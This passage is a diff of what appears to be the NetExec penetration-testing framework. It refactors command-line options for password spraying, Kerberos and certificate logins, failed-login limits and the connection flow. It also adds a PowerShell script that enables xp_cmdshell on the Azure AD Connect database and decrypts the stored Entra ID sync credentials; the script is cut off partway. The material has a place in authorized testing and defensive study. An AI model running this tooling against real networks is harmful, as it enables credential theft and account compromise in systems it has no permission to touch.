+    mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
+    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
 
-    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
+    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
 
-    std_parser = argparse.ArgumentParser(add_help=False)
-    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
-    std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
-    std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
-    std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
-    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
-    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
-    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
-    std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
+    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
+    credential_group = std_parser.add_argument_group("Authentication")
+    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
+    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
-    fail_group = std_parser.add_mutually_exclusive_group()
-    fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
-    fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
-    fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
+    kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
+    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+
+    certificate_group = std_parser.add_argument_group("Certificate Authentication")
+    certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
+    certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
+    certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+    certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
+    certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
@@ -77,18 +116,36 @@ def gen_cli_args():
     try:
         for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
+            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
+    argcomplete.autocomplete(parser, always_complete_options=False)
+    args = parser.parse_args()
+
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
-    args = parser.parse_args()
-
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
         sys.exit(1)
 
-    return args
+    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
+    if hasattr(args, "get_output_tries"):
+        args.get_output_tries = args.get_output_tries * 10
+
+    return args, [CODENAME, VERSION, COMMIT, DISTANCE]
+
+
+def get_module_names():
+    """Get module names without initializing them"""
+    modules = []
+    modules_paths = [
+        path_join(dirname(nxc.__file__), "modules"),
+        path_join(NXC_PATH, "modules"),
+    ]
+
+    for path in modules_paths:
+        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
+    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -1,7 +1,6 @@
-import os
 from os.path import join as path_join
 import configparser
-from nxc.paths import NXC_PATH, DATA_PATH
+from nxc.paths import DATA_PATH, CONFIG_PATH
 from nxc.first_run import first_run_setup
 from nxc.logger import nxc_logger
 from ast import literal_eval
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
 nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
 
 nxc_config = configparser.ConfigParser()
-nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
+nxc_config.read(CONFIG_PATH)
 
 if "nxc" not in nxc_config.sections():
     first_run_setup()
-    nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
+    nxc_config.read(CONFIG_PATH)
 
 # Check if there are any missing options in the config file
 for section in nxc_default_config.sections():
+    if not nxc_config.has_section(section):
+        nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
+        nxc_config.add_section(section)
+        with open(CONFIG_PATH, "w") as config_file:
+            nxc_config.write(config_file)
     for option in nxc_default_config.options(section):
         if not nxc_config.has_option(section, option):
             nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
             nxc_config.set(section, option, nxc_default_config.get(section, option))
 
-            with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
+            with open(CONFIG_PATH, "w") as config_file:
                 nxc_config.write(config_file)
 
 # THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -32,8 +36,14 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
 audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
 reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
 config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
-ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
+check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
+display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
+skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
+exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
+if not isinstance(exclude_hosts, list):
+    nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
+    exit(1)
 
 
 if len(host_info_colors) != 4:
@@ -43,5 +53,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    hidden = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else hidden + audit_mode * 8
+    reveal = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)

nxc/connection.py

@@ -1,126 +1,181 @@
+from datetime import datetime
+import os
 import random
+import sys
+import contextlib
+
 from os.path import isfile
-from threading import BoundedSemaphore
+from threading import BoundedSemaphore, Lock
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.helpers.path import sanitize_path_component
+from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
-
-from impacket.dcerpc.v5 import transport
-import sys
+from nxc.paths import NXC_PATH
 
 sem = BoundedSemaphore(1)
+fail_lock = Lock()
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
-    is_ipv6 = False
-    is_link_local_ipv6 = False
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-        af, _, _, canonname, sa = res
-        address_info[af.name] = sa[0]
+    try:
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
 
     # IPv4 preferred
-    if address_info["AF_INET"]:
-        host = address_info["AF_INET"]
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
     else:
-        is_ipv6 = True
-        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
 
-    return host, is_ipv6, is_link_local_ipv6
+    return result
 
 
 def requires_admin(func):
     def _decorator(self, *args, **kwargs):
         if self.admin_privs is False:
+            if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
+                return func(self, *args, **kwargs)
             return None
         return func(self, *args, **kwargs)
 
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, timeout):
-    stringBindings = iInterface.get_cinstance().get_string_bindings()
-    for strBinding in stringBindings:
-        if strBinding["wTowerId"] == 7:
-            if strBinding["aNetworkAddr"].find("[") >= 0:
-                binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
-                bindingPort = "[" + bindingPort
-            else:
-                binding = strBinding["aNetworkAddr"]
-                bindingPort = ""
-
-            if binding.upper().find(iInterface.get_target().upper()) >= 0:
-                stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
-                break
-            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
-                stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
-    if "stringBinding" not in locals():
-        return True, None
-    try:
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.set_connect_timeout(timeout)
-        rpctransport.connect()
-        rpctransport.disconnect()
-    except Exception as e:
-        nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
-        return False, stringBinding
-    else:
-        return True, stringBinding
-
-
 class connection:
-    def __init__(self, args, db, host):
-        self.domain = None
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
-        self.port = self.args.port
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+        self.output_file_template = None
+        self.output_filename = None
+        self.protocol = args.protocol
+
+        # Authentication info
         self.password = ""
         self.username = ""
-        self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
+        self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
+        self.kerberos = bool(self.args.kerberos or
+                             self.args.use_kcache or
+                             self.args.aesKey or
+                             (self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or   # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
+                             (hasattr(self.args, "delegate") and self.args.delegate) or
+                             (hasattr(self.args, "generate_st") and self.args.generate_st) or
+                             (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
-        self.local_ip = None
-        self.logger = nxc_logger
+        self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel)   # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
 
-        try:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
+        self.local_ip = None
+        self.dns_server = self.args.dns_server
+
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
-        if args.jitter:
-            jitter = args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
+        if self.kerberos:
+            self.host = self.hostname
 
-            value = random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
-            sleep(value)
+        self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
+        except FileNotFoundError as e:
+            self.logger.error(f"File not found error on target {target}: {e}")
+        except ConnectionRefusedError as e:
+            self.logger.error(f"Target {target} refused the connection: {e}")
         except Exception as e:
-            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
+            # Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
+            elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
+                self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
+            else:
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {target}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
+
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -138,22 +193,16 @@ class connection:
     def create_conn_obj(self):
         return
 
+    def disconnect(self):
+        return
+
     def check_if_admin(self):
         return
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         return
 
-    def plaintext_login(self, domain, username, password):
+    def plaintext_login(self, username, password):
         return
 
     def hash_login(self, domain, username, ntlm_hash):
@@ -162,16 +211,28 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if self.create_conn_obj():
-            self.logger.debug("Created connection object")
+        if not self.create_conn_obj():
+            self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
+        else:
+            self.logger.info(f"Successfully created connection object for target '{self.host}'")
             self.enum_host_info()
-            if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
-                if hasattr(self.args, "module") and self.args.module:
+
+            # Construct the output file template using os.path.join for OS compatibility
+            base_log_dir = os.path.join(NXC_PATH, "logs")
+            filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
+            self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
+            # Default output filename for logs
+            self.output_filename = os.path.join(base_log_dir, filename_pattern)
+
+            self.print_host_info()
+            if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth):   # a failed certificate auth is not a null session
+                self.logger.debug("Calling command arguments")
+                self.call_cmd_args()
+                if self.args.module:
+                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
-                else:
-                    self.logger.debug("Calling command arguments")
-                    self.call_cmd_args()
+            self.disconnect()
 
     def call_cmd_args(self):
         """Calls all the methods specified by the command line arguments
@@ -200,13 +261,13 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.module:
+        for module in self.modules:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
                     "module_name": module.name.upper(),
                     "host": self.host,
-                    "port": self.args.port,
+                    "port": self.port,
                     "hostname": self.hostname,
                 },
             )
@@ -215,11 +276,6 @@ class connection:
             context = Context(self.db, module_logger, self.args)
             context.localip = self.local_ip
 
-            if hasattr(module, "on_request") or hasattr(module, "has_response"):
-                self.logger.debug(f"Module {module.name} has on_request or has_response methods")
-                self.server.connection = self
-                self.server.context.localip = self.local_ip
-
             if hasattr(module, "on_login"):
                 self.logger.debug(f"Module {module.name} has on_login method")
                 module.on_login(context, self)
@@ -228,35 +284,31 @@ class connection:
                 self.logger.debug(f"Module {module.name} has on_admin_login method")
                 module.on_admin_login(context, self)
 
-            if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
-                self.logger.debug(f"Module {module.name} has on_shutdown method")
-                module.on_shutdown(context, self)
-
     def inc_failed_login(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
-        if username not in user_failed_logins:
-            user_failed_logins[username] = 0
+        with fail_lock:
+            if username not in user_failed_logins:
+                user_failed_logins[username] = 0
 
-        user_failed_logins[username] += 1
-        global_failed_logins += 1
-        self.failed_logins += 1
+            user_failed_logins[username] += 1
+            global_failed_logins += 1
+            self.failed_logins += 1
 
     def over_fail_limit(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
-        if global_failed_logins == self.args.gfail_limit:
-            return True
+        with fail_lock:
+            if global_failed_logins == self.args.gfail_limit:
+                return True
 
-        if self.failed_logins == self.args.fail_limit:
-            return True
+            if self.failed_logins == self.args.fail_limit:
+                return True
 
-        if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
-            return True
+            if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:  # ruff: ignore[needless-bool]
+                return True
 
-        return False
+            return False
 
     def query_db_creds(self):
         """Queries the database for credentials to be used for authentication.
@@ -317,10 +369,10 @@ class connection:
             if isfile(user):
                 with open(user) as user_file:
                     for line in user_file:
-                        if "\\" in line:
+                        if "\\" in line and len(line.split("\\")) == 2:
                             domain_single, username_single = line.split("\\")
                         else:
-                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                             username_single = line
                         domain.append(domain_single)
                         username.append(username_single.strip())
@@ -329,7 +381,7 @@ class connection:
                 if "\\" in user:
                     domain_single, username_single = user.split("\\")
                 else:
-                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                     username_single = user
                 domain.append(domain_single)
                 username.append(username_single)
@@ -356,12 +408,22 @@ class connection:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
                     with open(ntlm_hash) as ntlm_hash_file:
-                        for line in ntlm_hash_file:
-                            secret.append(line.strip())
-                            cred_type.append("hash")
+                        for i, line in enumerate(ntlm_hash_file):
+                            line = line.strip()
+                            if len(line) != 32 and len(line) != 65 and len(line) != 0:
+                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
+                                continue
+                            else:
+                                secret.append(line)
+                                cred_type.append("hash")
                 else:
-                    secret.append(ntlm_hash)
-                    cred_type.append("hash")
+                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
+                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
+                        exit(1)
+                    else:
+                        secret.append(ntlm_hash)
+                        cred_type.append("hash")
+            self.logger.debug(secret)
 
         # Parse AES keys
         if self.args.aesKey:
@@ -384,22 +446,34 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """Try to login using the specified credentials and protocol.
+        """
+        Try to login using the specified credentials and protocol.
+        With  --jitter an authentication throttle can be applied.
 
         Possible login methods are:
             - plaintext (/kerberos)
             - NTLM-hash (/kerberos)
             - AES-key
         """
-        if self.over_fail_limit(username):
-            return False
         if self.args.continue_on_success and owned:
             return False
-        if hasattr(self.args, "delegate") and self.args.delegate:
-            self.args.kerberos = True
+
+        if self.args.jitter:
+            jitter = self.args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
+            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
+            sleep(value)
+
         with sem:
+            if self.over_fail_limit(username):
+                return False
             if cred_type == "plaintext":
-                if self.args.kerberos:
+                if self.kerberos:
                     self.logger.debug("Trying to authenticate using Kerberos")
                     return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
                 elif hasattr(self.args, "domain"):  # Some protocols don't use domain for login
@@ -412,7 +486,7 @@ class connection:
                     self.logger.debug("Trying to authenticate using plaintext")
                     return self.plaintext_login(username, secret)
             elif cred_type == "hash":
-                if self.args.kerberos:
+                if self.kerberos:
                     return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
                 return self.hash_login(domain, username, secret)
             elif cred_type == "aesKey":
@@ -453,12 +527,34 @@ class connection:
         if self.args.use_kcache:
             self.logger.debug("Trying to authenticate using Kerberos cache")
             with sem:
-                username = self.args.username[0] if len(self.args.username) else ""
+                from impacket.krb5.ccache import CCache
+                username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
                 password = self.args.password[0] if len(self.args.password) else ""
                 self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
+        if self.certificate_auth:
+            self.logger.debug("Trying to authenticate using Certificate pfx")
+            if self.args.protocol == "ldap" and self.args.schannel:
+                # Schannel maps the certificate to an account server-side, so the supplied username is ignored
+                with sem:
+                    return self.plaintext_login(self.domain, "", "")
+            if not username:
+                self.logger.fail("You must specify a username when using certificate authentication")
+                return False
+            with sem:
+                from nxc.helpers.pfx import pfx_auth
+                return pfx_auth(self, domain[0], username[0])
+
+        if hasattr(self.args, "laps") and self.args.laps:
+            self.logger.debug("Trying to authenticate using LAPS")
+            from nxc.protocols.ldap.laps import laps_search
+            username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
+            cred_type = ["plaintext"]
+            if not (username[0] or secret[0] or domain[0]):
+                return False
+
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -478,3 +574,16 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
+
+    def load_modules(self):
+        self.logger.info(f"Loading modules for target: {self.host}")
+        loader = ModuleLoader(self.args, self.db, self.logger)
+        self.modules = []
+
+        for module_path in self.module_paths:
+            try:
+                module = loader.init_module(module_path)
+            except ModuleOptionsError as e:
+                self.logger.debug(f"Skipping module: {e}")
+                continue
+            self.modules.append(module)

nxc/context.py

@@ -1,6 +1,8 @@
 import configparser
 import os
 
+from nxc.paths import NXC_PATH, CONFIG_PATH
+
 
 class Context:
     def __init__(self, db, logger, args):
@@ -8,10 +10,10 @@ class Context:
             setattr(self, key, value)
 
         self.db = db
-        self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+        self.log_folder_path = os.path.join(NXC_PATH, "logs")
         self.localip = None
 
         self.conf = configparser.ConfigParser()
-        self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
+        self.conf.read(CONFIG_PATH)
 
         self.log = logger

nxc/data/msol_dump/entra-sync-creds.ps1

@@ -0,0 +1,82 @@
+# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
+# Modified by @NeffIsBack:
+# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
+
+# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
+function decrypter($crypted, $key_id, $instance_id, $entropy) {
+    $cmd = $client.CreateCommand()
+    $cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
+    $reader = $cmd.ExecuteReader()
+
+    $decrypted = [string]::Empty
+
+    while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
+        $decrypted += $reader.GetString(0)
+    }
+    $reader.Close()
+
+    if ($decrypted -eq [string]::Empty) {
+        Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
+        return
+    }
+
+    return $decrypted
+}
+
+# Create a connection to the localdb instance of Azure AD Connect
+$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
+
+try {
+    $client.Open()
+} catch {
+    Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
+    return
+}
+
+function f {
+    param ($q)
+    $c = $client.CreateCommand()
+    $c.CommandText = $q
+    $r = $c.ExecuteReader()
+    if (-not $r.Read()) {
+        Write-Host "[!] Error querying: $q"
+        return
+    }
+    $res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
+    $r.Close()
+    return $res
+}
+
